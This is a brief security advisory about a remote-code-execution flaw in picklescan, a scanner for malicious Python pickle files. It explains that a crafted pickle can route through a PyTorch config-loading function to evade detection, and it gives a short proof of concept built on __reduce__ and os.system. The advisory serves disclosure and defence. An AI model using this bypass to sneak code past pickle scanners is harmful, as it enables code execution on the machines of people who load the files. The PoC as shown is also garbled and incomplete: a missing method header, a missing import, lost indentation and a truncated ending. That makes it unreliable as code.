Overview
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to using torch.utils._config_module.load_config function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function to bypass security checks, which may then be loaded with pickle by a user.
PoC
import pickle
from torch.utils._config_module import ConfigModule
class Evil:

return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
